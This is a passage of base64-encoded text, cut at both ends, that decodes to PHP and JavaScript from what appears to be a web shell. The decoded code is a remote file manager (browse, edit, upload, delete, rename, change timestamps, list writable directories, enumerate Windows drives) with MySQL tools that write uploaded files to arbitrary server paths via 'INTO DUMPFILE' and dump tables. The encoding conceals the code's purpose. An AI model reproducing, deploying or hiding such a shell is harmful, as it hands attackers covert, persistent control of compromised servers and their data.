pbGUgKGZ1bGxwYXRoKTonLCAnJyk7CglpZiAoIXRvZmlsZSkgcmV0dXJuOwoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOwoJJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsKCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpewoJdmFyIG5ld2ZpbGVuYW1lOwoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOwoJaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOwoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7CgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7CgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsKCWlmIChtICYmICFjb25maXJtKG0pKSB7CgkJcmV0dXJuOwoJfQoJJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsKCWlmICh0aGVmaWxlKXsKCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsKCX0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsKCXZhciBmaWxlbmFtZTsKCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7CglpZiAoIWZpbGVuYW1lKSByZXR1cm47CglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7Cn0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsKCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOwoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7CgkkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsKCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7CglpZiAodmlld193cml0YWJsZSkgewoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOwoJfQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ29kaXInKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KICA8P3BocAoJdGJoZWFkKCk7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsKCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSIiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7CglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOwoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOwoJfSBlbHNlIHsKCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsKCX0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsKCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJfQoJCQl9CgkJfQoJfQoKCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy8gR2V0IHBhdGgKCSRkaXJkYXRhPWFycmF5KCk7CgkkZmlsZWRhdGE9YXJyYXkoKTsKCglpZiAoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOwoJfSBlbHNlIHsKCQkvLyBPcGVuIGRpcgoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsKCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOwoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpewoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7CgkJCX0KCQl9Ly8gd2hpbGUKCQl1bnNldCgkZGlyZGIpOwoJCXVuc2V0KCRmaWxlZGIpOwoJCUBjbG9zZWRpcigkZGlycyk7Cgl9CglAc29ydCgkZGlyZGF0YSk7CglAc29ydCgkZmlsZWRhdGEpOwoJJGRpcl9pID0gJzAnOwoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7CgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSR0aGlzYmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCX0KCQl9Cgl9CgoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJJGZpbGVfaSA9ICcwJzsKCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7CgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOwoJCQkkdGhpc2JnID0gYmcoKTsKCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsKCQkJcCgnPHRkPjxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0ZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5FZGl0PC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7CgkJCWlmICgkZnApIHsKCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOwoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJJG15c3FsZGF0YSA9ICcnOwoJCQkJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCWlmIChpc3NldCgkd